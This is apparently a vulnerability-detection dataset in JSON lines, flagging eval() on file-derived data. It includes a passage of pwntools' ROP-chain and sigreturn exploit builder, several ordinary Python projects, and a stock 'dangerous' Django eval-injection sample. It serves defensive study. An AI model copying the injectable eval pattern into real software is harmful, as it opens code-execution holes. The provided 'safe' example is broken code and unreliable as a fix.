len(slot)\n\n registers = [slot.registers[i] for i in sorted(slot.registers.keys())]\n for register in registers:\n value = slot[register]\n description = self.describe(value)\n if description:\n stack.describe('%s = %s' % (register, description))\n else:\n stack.describe('%s' % (register))\n stack.append(value)\n\n elif isinstance(slot, Call):\n stack.describe(self.describe(slot))\n\n registers = dict(zip(slot.abi.register_arguments, slot.args))\n\n for value, name in self.setRegisters(registers):\n if name in registers:\n index = slot.abi.register_arguments.index(name)\n description = self.describe(value) or repr(value)\n stack.describe('[arg%d] %s = %s' % (index, name, description))\n elif isinstance(name, Gadget):\n stack.describe('; '.join(name.insns))\n elif isinstance(name, str):\n stack.describe(name)\n stack.append(value)\n\n if address != stack.next:\n stack.describe(slot.name)\n\n stack.append(slot.target)\n\n # For any remaining arguments, put them on the stack\n stackArguments = slot.args[len(slot.abi.register_arguments):]\n nextGadgetAddr = stack.next + (context.bytes * len(stackArguments))\n\n # Generally, stack-based arguments assume there's a return\n # address on the stack.\n #\n # We need to at least put padding there so that things line up\n # properly, but likely also need to adjust the stack past the\n # arguments.\n if slot.abi.returns:\n\n # Save off the address of the next gadget\n if remaining or stackArguments:\n nextGadgetAddr = stack.next\n\n # If there were arguments on the stack, we need to stick something\n # in the slot where the return address goes.\n if len(stackArguments) > 0:\n if remaining:\n fix_size = (1 + len(stackArguments))\n fix_bytes = fix_size * context.bytes\n adjust = self.search(move = fix_bytes)\n\n if not adjust:\n log.error(\"Could not find gadget to adjust stack by %#x bytes\" % fix_bytes)\n\n nextGadgetAddr += adjust.move\n\n stack.describe(' %s' % (nextGadgetAddr, self.describe(adjust)))\n stack.append(adjust.address)\n\n for pad in range(fix_bytes, adjust.move, context.bytes):\n stackArguments.append(Padding())\n\n # We could not find a proper \"adjust\" gadget, but also didn't need one.\n else:\n stack.append(Padding(\"\"))\n\n\n for i, argument in enumerate(stackArguments):\n\n if isinstance(argument, NextGadgetAddress):\n stack.describe(\"\")\n stack.append(nextGadgetAddr)\n\n else:\n description = self.describe(argument) or 'arg%i' % (i + len(registers))\n stack.describe(description)\n stack.append(argument)\n else:\n stack.append(slot)\n #\n # Second pass\n #\n # All of the register-loading, stack arguments, and call addresses\n # are on the stack. We can now start loading in absolute addresses.\n #\n start = base\n end = stack.next\n size = (stack.next - base)\n for i, slot in enumerate(stack):\n slot_address = stack.address + (i * context.bytes)\n if isinstance(slot, six.integer_types):\n pass\n\n elif isinstance(slot, (bytes, six.text_type)):\n pass\n\n elif isinstance(slot, AppendedArgument):\n stack[i] = stack.next\n stack.extend(slot.resolve(stack.next))\n\n elif isinstance(slot, CurrentStackPointer):\n stack[i] = slot_address\n\n elif isinstance(slot, Padding):\n stack[i] = self.generatePadding(i * context.bytes, context.bytes)\n stack.describe(slot.name, slot_address)\n\n elif isinstance(slot, Gadget):\n stack[i] = slot.address\n stack.describe(self.describe(slot), slot_address)\n\n # Everything else we can just leave in place.\n # Maybe the user put in something on purpose?\n # Also, it may work in pwnlib.util.packing.flat()\n else:\n pass\n\n return stack\n\n\n def find_stack_adjustment(self, slots):\n self.search(move=slots * context.arch)\n\n def chain(self):\n \"\"\"Build the ROP chain\n\n Returns:\n str containing raw ROP bytes\n \"\"\"\n return packing.flat(self.build())\n\n def dump(self):\n \"\"\"Dump the ROP chain in an easy-to-read manner\"\"\"\n return self.build().dump()\n\n def regs(self, registers=None, **kw):\n if registers is None:\n registers = {}\n registers.update(kw)\n\n\n\n def call(self, resolvable, arguments = (), abi = None, **kwargs):\n \"\"\"Add a call to the ROP chain\n\n Arguments:\n resolvable(str,int): Value which can be looked up via 'resolve',\n or is already an integer.\n arguments(list): List of arguments which can be passed to pack().\n Alternately, if a base address is set, arbitrarily nested\n structures of strings or integers can be provided.\n \"\"\"\n if self.migrated:\n log.error('Cannot append to a migrated chain')\n\n # If we can find a function with that name, just call it\n if isinstance(resolvable, str):\n addr = self.resolve(resolvable)\n elif hasattr(resolvable, 'name') and hasattr(resolvable, 'address'):\n addr = resolvable.address\n resolvable = str(resolvable.name)\n else:\n addr = resolvable\n resolvable = ''\n\n if addr:\n self.raw(Call(resolvable, addr, arguments, abi))\n\n # Otherwise, if it is a syscall we might be able to call it\n elif not self._srop_call(resolvable, arguments):\n log.error('Could not resolve %r.' % resolvable)\n\n\n\n def _srop_call(self, resolvable, arguments):\n # Check that the call is a valid syscall\n resolvable = 'SYS_' + resolvable.lower()\n syscall_number = getattr(constants, resolvable, None)\n if syscall_number is None:\n return False\n\n log.info_once(\"Using sigreturn for %r\" % resolvable)\n\n # Find an int 0x80 or similar instruction we can use\n syscall_gadget = None\n syscall_instructions = srop.syscall_instructions[context.arch]\n\n for instruction in syscall_instructions:\n syscall_gadget = self.find_gadget([instruction])\n if syscall_gadget:\n break\n else:\n log.error(\"Could not find any instructions in %r\" % syscall_instructions)\n\n # Generate the SROP frame which would invoke the syscall\n with context.local(arch=self.elfs[0].arch):\n frame = srop.SigreturnFrame()\n frame.pc = syscall_gadget\n frame.syscall = syscall_number\n\n try:\n SYS_sigreturn = constants.SYS_sigreturn\n except AttributeError:\n SYS_sigreturn = constants.SYS_rt_sigreturn\n\n for register, value in zip(frame.arguments, arguments):\n frame[register] = value\n\n # Set up a call frame which will set EAX and invoke the syscall\n call = Call('SYS_sigreturn',\n syscall_gadget,\n [SYS_sigreturn],\n abi.ABI.sigreturn())\n\n self.raw(call)\n self.raw(frame)\n\n\n # We do not expect to ever recover after the syscall, as it would\n # require something like 'int 0x80; ret' which does not ever occur\n # in the wild.\n self.migrated = True\n\n return True\n\n def find_gadget(self, instructions):\n \"\"\"\n Returns a gadget with the exact sequence of instructions specified\n in the ``instructions`` argument.\n \"\"\"\n n = len(instructions)\n for gadget in self.gadgets.values():\n if tuple(gadget.insns)[:n] == tuple(instructions):\n return gadget\n\n\n def raw(self, value):\n \"\"\"Adds a raw integer or string to the ROP chain.\n\n If your architecture requires aligned values, then make\n sure that any given string is aligned!\n\n Arguments:\n data(int/str): The raw value to put onto the rop chain.\n\n >>> rop = ROP([])\n >>> rop.raw('AAAAAAAA')\n >>> rop.raw('BBBBBBBB')\n >>> rop.raw('CCCCCCCC')\n >>> print(rop.dump())\n 0x0000: b'AAAA' 'AAAAAAAA'\n 0x0004: b'AAAA'\n 0x0008: b'BBBB' 'BBBBBBBB'\n 0x000c: b'BBBB'\n 0x0010: b'CCCC' 'CCCCCCCC'\n 0x0014: b'CCCC'\n \"\"\"\n if self.migrated:\n log.error('Cannot append to a migrated chain')\n self._chain.append(value)\n\n def migrate(self, next_base):\n \"\"\"Explicitly set $sp, by using a ``leave; ret`` gadget\"\"\"\n if isinstance(next_base, ROP):\n next_base = self.base\n pop_sp = self.rsp or self.esp\n pop_bp = self.rbp or self.ebp\n leave = self.leave\n if pop_sp and len(pop_sp.regs) == 1:\n self.raw(pop_sp)\n self.raw(next_base)\n elif pop_bp and leave and len(pop_bp.regs) == 1:\n self.raw(pop_bp)\n self.raw(next_base - context.bytes)\n self.raw(leave)\n else:\n log.error('Cannot find the gadgets to migrate')\n self.migrated = True\n\n def __bytes__(self):\n \"\"\"Returns: Raw bytes of the ROP chain\"\"\"\n return self.chain()\n\n def __str__(self):\n return str(self.chain())\n\n def __get_cachefile_name(self, files):\n \"\"\"Given an ELF or list of ELF objects, return a cache file for the set of files\"\"\"\n cachedir = os.path.join(tempfile.gettempdir(), 'pwntools-rop-cache-%d.%d' % sys.version_info[:2])\n if not os.path.exists(cachedir):\n os.mkdir(cachedir)\n\n if isinstance(files, ELF):\n files = [files]\n\n hashes = []\n\n for elf in self.elfs:\n sha256 = hashlib.sha256(elf.get_data()).hexdigest()\n hashes.append(sha256)\n\n return os.path.join(cachedir, '_'.join(hashes))\n\n def __cache_load(self, elf):\n filename = self.__get_cachefile_name(elf)\n if not os.path.exists(filename):\n return None\n log.info_once('Loaded cached gadgets for %r' % elf.file.name)\n gadgets = eval(open(filename).read())\n gadgets = {k - elf.load_addr + elf.address:v for k, v in gadgets.items()}\n return gadgets\n\n def __cache_save(self, elf, data):\n data = {k + elf.load_addr - elf.address:v for k, v in data.items()}\n open(self.__get_cachefile_name(elf), 'w+').write(repr(data))\n\n def __load(self):\n \"\"\"Load all ROP gadgets for the selected ELF files\"\"\"\n #\n # We accept only instructions that look like these.\n #\n # - leave\n # - pop reg\n # - add $sp, value\n # - ret\n #\n # Currently, ROPgadget does not detect multi-byte \"C2\" ret.\n # https://github.com/JonathanSalwan/ROPgadget/issues/53\n #\n\n pop = re.compile(r'^pop (.{3})')\n add = re.compile(r'^add [er]sp, (\\S+)$')\n ret = re.compile(r'^ret$')\n leave = re.compile(r'^leave$')\n int80 = re.compile(r'int +0x80')\n syscall = re.compile(r'^syscall$')\n sysenter = re.compile(r'^sysenter$')\n\n #\n # Validation routine\n #\n # >>> valid('pop eax')\n # True\n # >>> valid('add rax, 0x24')\n # False\n # >>> valid('add esp, 0x24')\n # True\n #\n valid = lambda insn: any(map(lambda pattern: pattern.match(insn), [pop,add,ret,leave,int80,syscall,sysenter]))\n\n #\n # Currently, ropgadget.args.Args() doesn't take any arguments, and pulls\n # only from sys.argv. Preserve it through this call. We also\n # monkey-patch sys.stdout to suppress output from ropgadget.\n #\n argv = sys.argv\n stdout = sys.stdout\n\n class Wrapper:\n\n def __init__(self, fd):\n self._fd = fd\n\n def write(self, s):\n pass\n\n def __getattr__(self, k):\n return self._fd.__getattribute__(k)\n\n gadgets = {}\n for elf in self.elfs:\n cache = self.__cache_load(elf)\n if cache:\n gadgets.update(cache)\n continue\n log.info_once('Loading gadgets for %r' % elf.path)\n try:\n sys.stdout = Wrapper(sys.stdout)\n import ropgadget\n sys.argv = ['ropgadget', '--binary', elf.path, '--only', 'sysenter|syscall|int|add|pop|leave|ret', '--nojop']\n args = ropgadget.args.Args().getArgs()\n core = ropgadget.core.Core(args)\n core.do_binary(elf.path)\n core.do_load(0)\n finally:\n sys.argv = argv\n sys.stdout = stdout\n\n elf_gadgets = {}\n for gadget in core._Core__gadgets:\n address = gadget['vaddr'] - elf.load_addr + elf.address\n insns = [ g.strip() for g in gadget['gadget'].split(';') ]\n if all(map(valid, insns)):\n elf_gadgets[address] = insns\n\n self.__cache_save(elf, elf_gadgets)\n gadgets.update(elf_gadgets)\n\n #\n # For each gadget we decided to keep, find out how much it moves the stack,\n # and log which registers it modifies.\n #\n self.gadgets = {}\n self.pivots = {}\n frame_regs = {\n 4: ['ebp', 'esp'],\n 8: ['rbp', 'rsp']\n }[context.bytes]\n\n for addr, insns in gadgets.items():\n\n # Filter out gadgets by address against badchars\n if set(pack(addr)) & self._badchars:\n continue\n\n sp_move = 0\n regs = []\n for insn in insns:\n if pop.match(insn):\n regs.append(pop.match(insn).group(1))\n sp_move += context.bytes\n elif add.match(insn):\n sp_move += int(add.match(insn).group(1), 16)\n elif ret.match(insn):\n sp_move += context.bytes\n elif leave.match(insn):\n #\n # HACK: Since this modifies ESP directly, this should\n # never be returned as a 'normal' ROP gadget that\n # simply 'increments' the stack.\n #\n # As such, the 'move' is set to a very large value,\n # to prevent .search() from returning it unless $sp\n # is specified as a register.\n #\n sp_move += 9999999999\n regs += frame_regs\n\n # Permit duplicates, because blacklisting bytes in the gadget\n # addresses may result in us needing the dupes.\n self.gadgets[addr] = Gadget(addr, insns, regs, sp_move)\n\n # Don't use 'pop esp' for pivots\n if not set(['rsp', 'esp']) & set(regs):\n self.pivots[sp_move] = addr\n\n leave = self.search(regs=frame_regs, order='regs')\n if leave and leave.regs != frame_regs:\n leave = None\n self.leave = leave\n\n def __repr__(self):\n return 'ROP(%r)' % self.elfs\n\n def search_iter(self, move=None, regs=None):\n \"\"\"\n Iterate through all gadgets which move the stack pointer by\n *at least* ``move`` bytes, and which allow you to set all\n registers in ``regs``.\n \"\"\"\n move = move or 0\n regs = set(regs or ())\n\n for addr, gadget in self.gadgets.items():\n addr_bytes = set(pack(gadget.address))\n if addr_bytes & self._badchars: continue\n if gadget.insns[-1] != 'ret': continue\n if gadget.move < move: continue\n if not (regs <= set(gadget.regs)): continue\n yield gadget\n\n def search(self, move = 0, regs = None, order = 'size'):\n \"\"\"Search for a gadget which matches the specified criteria.\n\n Arguments:\n move(int): Minimum number of bytes by which the stack\n pointer is adjusted.\n regs(list): Minimum list of registers which are popped off the\n stack.\n order(str): Either the string 'size' or 'regs'. Decides how to\n order multiple gadgets the fulfill the requirements.\n\n The search will try to minimize the number of bytes popped more than\n requested, the number of registers touched besides the requested and\n the address.\n\n If ``order == 'size'``, then gadgets are compared lexicographically\n by ``(total_moves, total_regs, addr)``, otherwise by ``(total_regs, total_moves, addr)``.\n\n Returns:\n A :class:`.Gadget` object\n \"\"\"\n matches = self.search_iter(move, regs)\n if matches is None:\n return None\n\n # Search for an exact match, save the closest match\n key = {\n 'size': lambda g: (g.move, len(g.regs), g.address),\n 'regs': lambda g: (len(g.regs), g.move, g.address)\n }[order]\n\n try:\n result = min(matches, key=key)\n except ValueError:\n return None\n\n # Check for magic 9999999... value used by 'leave; ret'\n if move and result.move == 9999999999:\n return None\n\n return result\n\n def __getattr__(self, attr):\n \"\"\"Helper to make finding ROP gadets easier.\n\n Also provides a shorthand for ``.call()``:\n ``rop.function(args)`` is equivalent to ``rop.call(function, args)``\n\n >>> elf=ELF(which('bash'))\n >>> rop=ROP([elf])\n >>> rop.rdi == rop.search(regs=['rdi'], order = 'regs')\n True\n >>> rop.r13_r14_r15_rbp == rop.search(regs=['r13','r14','r15','rbp'], order = 'regs')\n True\n >>> rop.ret_8 == rop.search(move=8)\n True\n >>> rop.ret != None\n True\n \"\"\"\n gadget = collections.namedtuple('gadget', ['address', 'details'])\n bad_attrs = [\n 'trait_names', # ipython tab-complete\n 'download', # frequent typo\n 'upload', # frequent typo\n ]\n\n if attr in self.__dict__ \\\n or attr in bad_attrs \\\n or attr.startswith('_'):\n raise AttributeError('ROP instance has no attribute %r' % attr)\n\n #\n # Check for 'ret' or 'ret_X'\n #\n if attr.startswith('ret'):\n count = context.bytes\n if '_' in attr:\n count = int(attr.split('_')[1])\n return self.search(move=count)\n\n if attr in ('int80', 'syscall', 'sysenter'):\n mapping = {'int80': 'int 0x80',\n 'syscall': 'syscall',\n 'sysenter': 'sysenter'}\n for each in self.gadgets:\n if self.gadgets[each]['insns'] == [mapping[attr]]:\n return gadget(each, self.gadgets[each])\n return None\n\n #\n # Check for a '_'-delimited list of registers\n #\n x86_suffixes = ['ax', 'bx', 'cx', 'dx', 'bp', 'sp', 'di', 'si',\n 'r8', 'r9', '10', '11', '12', '13', '14', '15']\n\n if all(map(lambda x: x[-2:] in x86_suffixes, attr.split('_'))):\n return self.search(regs=attr.split('_'), order='regs')\n\n #\n # Otherwise, assume it's a rop.call() shorthand\n #\n def call(*args):\n return self.call(attr, args)\n\n return call", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 1034, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 1034, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 1034, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "e6dfdfd45e0b96074df417ae4caa3b044654eb01ad1f595a5a1e6e991aa95145", "license": {"spdx": ["MIT"], "repo": "Kingworrior007/lchw001", "path": "test/login0015.py", "repo_head_hexsha": "e59e6f300123bd98d49e81be16e73a4440ffa85a", "stack_hexsha": "5376b129d38d0a0cad1e64ee95e535f463dd0c0c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 25, "entireCode": "#About print Students Management System\n\n\nimport os\n# 保存学生的数据\n\nall_dict = {}\n# 定义一个变量 -> 全局变量\nfile_name = \"student.txt\"\n\n# 加载文件中的数据\ndef load_info():\n # 判断文件是否存在\n if not os.path.exists(file_name):\n # 创建一个\n f = open(file_name, \"w\", encoding=\"utf-8\")\n # 写入数据\n f.write(\"{}\")\n f.close()\n # 读取数据\n f = open(file_name, \"r\", encoding=\"utf-8\")\n ret = f.read()\n global all_dict\n # 类型转换\n all_dict = eval(ret)\n f.close()\n\n# 打印信息\ndef print_menu():\n print(\"---------------------------\")\n print(\" 学生管理系统 V1.0\")\n print(\" 1:添加学生\")\n print(\" 2:删除学生\")\n print(\" 3:修改学生\")\n print(\" 4:查询学生\")\n print(\" 5:显示所有学生\")\n print(\" 6:保存数据\")\n print(\" 7:退出系统\")\n print(\"---------------------------\")\n index = input(\"请选择:\")\n # 判断\n if index.isdigit() and (0 < int(index) < 8):\n return int(index)\n else:\n print(\"输入错误!!!\")\n print_menu()\n\n\n\n# 1:添加学生\ndef add_info():\n my_name = input(\"请输入您的名字:\")\n my_age = input(\"请输入你的年龄:\")\n my_dict = {\"name\": my_name, \"age\": my_age}\n # 保存到all_dict中\n all_dict[my_name] = my_dict\n print(\"保存数据成功...\")\n\n# 2:删除学生\ndef delete_info():\n my_name = input(\"请输入您的名字:\")\n # 判断\n if my_name in all_dict:\n del all_dict[my_name]\n print(\"删除数据成功...\")\n else:\n print(\"输入的名字有误!!!\")\n\n# 3:修改学生\ndef update():\n my_name = input(\"请输入您的名字:\")\n # 判断\n if my_name in all_dict:\n my_age = input(\"请输入你的年龄:\")\n all_dict[my_name][\"age\"] = my_age\n print(\"修改数据成功...\")\n else:\n print(\"输入的名字有误!!!\")\n\n# 4:查询学生\ndef select_info():\n my_name = input(\"请输入您的名字:\")\n if my_name in all_dict:\n print(all_dict[my_name])\n else:\n print(\"输入的名字有误!!!\")\n\n# 5:显示所有学生\ndef select_all_info():\n print(all_dict)\n\n\n# 6:保存数据\ndef save_info():\n f = open(file_name, \"w\", encoding=\"utf-8\")\n # 写入数据\n f.write(str(all_dict))\n # 关闭文件\n f.close()\n\n# 定义一个函数 来完成系统的运行\ndef main():\n # 加载文件中的数据\n load_info()\n # 死循环\n while True:\n # 执行打印信息\n index = print_menu()\n if index == 1:\n add_info()\n elif index == 2:\n delete_info()\n elif index == 3:\n update()\n elif index == 4:\n select_info()\n elif index == 5:\n select_all_info()\n elif index == 6:\n save_info()\n elif index == 7:\n print(\"拜拜\")\n break\n\n\n\n# 执行\nmain()\n\n\n# 如果已经使用文件保存过数据\n# 当程序启动 我们需要把文件的数据读取到内存中(all_dict中)\n# 因为读取内存的数据快\n# all_dict\nall_dict = {}\n# 01读取文件中的数据\n# f = open(\"hm.txt\", \"r\", encoding=\"utf-8\")\n# ret = f.read()\n# # 类型转换\n# all_dict = eval(ret)\n# print(type(all_dict))\n# f.close()\n\n# 02 保存内存的数据到文件中\n# f = open(\"hm.txt\", \"w\", encoding=\"utf-8\")\n# # 写入数据\n# f.write(str(all_dict))\n# # 关闭文件\n# f.close()", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 21, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 22, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 22, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 25, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "8a4a459ff3851ea583a88fe52012b86d9cddcbfdf2560640781cd617cb57ddc0", "license": {"spdx": ["MIT"], "repo": "r-terada/home_credit_default_risk", "path": "src/colsample_run.py", "repo_head_hexsha": "e703b48e15d5068100f2c84d60b417d43be05572", "stack_hexsha": "c7dbb8621807ab02e3891a2ec34d04203d986fb0", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 49, "entireCode": "import os\nimport gc\nimport sys\nimport click\nimport random\nimport sklearn\nimport numpy as np\nimport pandas as pd\nfrom pprint import pprint\n\nfrom config import read_config, KEY_FEATURE_MAP, KEY_MODEL_MAP\nfrom utils import timer, reduce_mem_usage\nfrom models import LightGBM\nfrom features.base import Base\nfrom features.feature_cleaner import clean_data\nfrom features.stacking import StackingFeaturesWithPasses\n\nimport warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\n\ndef get_train_test(conf):\n df = Base.get_df(conf) # pd.DataFrame\n\n feature_classes = [KEY_FEATURE_MAP[key] for key in conf.features]\n for feature in feature_classes:\n with timer(f\"process {feature.__name__}\"):\n f = feature.get_df(conf)\n if \"drop_duplicate_column_on_merge\" in conf.options and conf.options.drop_duplicate_column_on_merge:\n cols_to_drop = [c for c in f.columns if (c in df.columns) and (c != 'SK_ID_CURR')]\n if cols_to_drop:\n print(f\"drop columns: {cols_to_drop}\")\n f = f.drop(cols_to_drop, axis=1)\n if \"reduce_mem_usage\" in conf.options and conf.options.reduce_mem_usage:\n with timer(\"reduce_mem_usaga\"):\n f = reduce_mem_usage(f)\n df = df.merge(f, how='left', on='SK_ID_CURR')\n del f\n gc.collect()\n\n if \"stacking_features\" in conf:\n StackingFeaturesWithPasses.set_result_dirs(conf.stacking_features)\n f = StackingFeaturesWithPasses.get_df(conf)\n df = df.merge(f, how='left', on='SK_ID_CURR')\n\n if \"drop_features_list_file\" in conf.options:\n with open(conf.options.drop_features_list_file, \"r\") as fp:\n line = fp.read()\n feature_to_drop = eval(line)\n print(f\"drop columns in {conf.options.drop_features_list_file}\")\n df = df.drop(feature_to_drop, axis=1)\n\n if \"clean_data\" in conf.options and conf.options.clean_data:\n with timer(\"clean_data\"):\n df = clean_data(df)\n\n train_df = df[df['TARGET'].notnull()].copy()\n test_df = df[df['TARGET'].isnull()].copy()\n del df\n gc.collect()\n return train_df, test_df\n\n\n@click.command()\n@click.option('--config_file', type=str, default='./configs/lgbm_0.json')\n@click.option('--num_experiment', type=int, default=100)\ndef main(config_file, num_experiment):\n conf = read_config(config_file)\n print(\"config:\")\n pprint(conf)\n\n train_df, test_df = get_train_test(conf)\n feats = [f for f in train_df.columns if f not in ([\n 'TARGET', 'SK_ID_CURR', 'SK_ID_BUREAU', 'SK_ID_PREV', 'index'\n ])]\n print(f\"{len(feats)} features.\")\n\n for i in range(num_experiment):\n feats_to_use = [f for f in feats if random.random() < conf.feature_sample_rate]\n print(f\"use {len(feats_to_use)} features.\")\n model = KEY_MODEL_MAP[conf.model.name]()\n with timer(f\"train with {model.__class__.__name__}. use {conf.feature_sample_rate * 100} % of features\"):\n model.train_and_predict_kfold(\n train_df,\n test_df,\n feats_to_use,\n 'TARGET',\n conf\n )\n\n\nif __name__ == '__main__':\n main()", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 46, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "46"}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 48, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 48, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 49, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "83cb5fd93c8c692333c94cead231b797580d7399f27ad340e75455d9cc826bb1", "license": {"spdx": ["BSD-3-Clause"], "repo": "ifplusor/actrie", "path": "setup.py", "repo_head_hexsha": "54e9aff441594fbcd30a936d4fbc300ad81007b9", "stack_hexsha": "c35cacd059a5aa21f7c986e506e93db10b3993e6", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 69, "entireCode": "#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\nimport os\nimport platform\nimport re\nfrom setuptools import setup, Extension\n\npython_version = platform.python_version()\nsystem_name = platform.system()\nprint(\"build for python{} on {}\".format(python_version, system_name))\n\n# Arguments\nactrie_dir = \"\"\nalib_dir = \"\"\n\n\ndef get_root_dir():\n return os.path.dirname(os.path.realpath(__file__))\n\n\nif not actrie_dir:\n actrie_dir = get_root_dir()\n\nif not alib_dir:\n alib_dir = os.path.join(actrie_dir, 'deps', 'alib')\n\n\ndef build_library():\n os.system(os.path.join(actrie_dir, \"utils\", \"build.sh\"))\n\n\n# build_library()\n\n\nwarp_sources = [\n os.path.join(actrie_dir, 'actrie', 'src', 'wrap.c')\n]\n\ncompile_args = []\nif system_name == \"Windows\":\n compile_args.append(\"/utf-8\")\nelse:\n compile_args.append(\"-fno-strict-aliasing\")\n\nlibrary_dirs = [\n # os.path.join(alib_dir, 'lib'),\n os.path.join(actrie_dir, 'lib')\n]\n\nlibraries = ['actrie', 'alib']\n\ninclude_dirs = [\n os.path.join(alib_dir, 'include'),\n os.path.join(actrie_dir, 'include')\n]\n\nactrie = Extension('actrie._actrie',\n sources=warp_sources,\n extra_compile_args=compile_args,\n include_dirs=include_dirs,\n library_dirs=library_dirs,\n libraries=libraries)\n\nkwds = {}\n# Read version from bitarray/__init__.py\npat = re.compile(r'__version__\\s*=\\s*(\\S+)', re.M)\ndata = open(os.path.join(actrie_dir, 'actrie', '__init__.py')).read()\nkwds['version'] = eval(pat.search(data).group(1))\n\nsetup(name=\"actrie\",\n description=\"Aho-Corasick automation for large-scale multi-pattern matching.\",\n author=\"\",\n author_email=\"\",\n url=\"https://github.com/ifplusor/actrie\",\n license=\"BSD\",\n packages=['actrie', 'actrie.example'],\n ext_modules=[actrie],\n classifiers=[\n \"Programming Language :: C\",\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: Implementation :: CPython\",\n \"License :: OSI Approved :: BSD License\",\n \"Operating System :: OS Independent\",\n \"Topic :: Utilities\"\n ],\n keywords=[\"matcher\", \"trie\", \"aho-corasick automation\", \"ac-automation\",\n \"string matching\", \"string search\", \"string matcher\"],\n zip_safe=False,\n **kwds)", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = 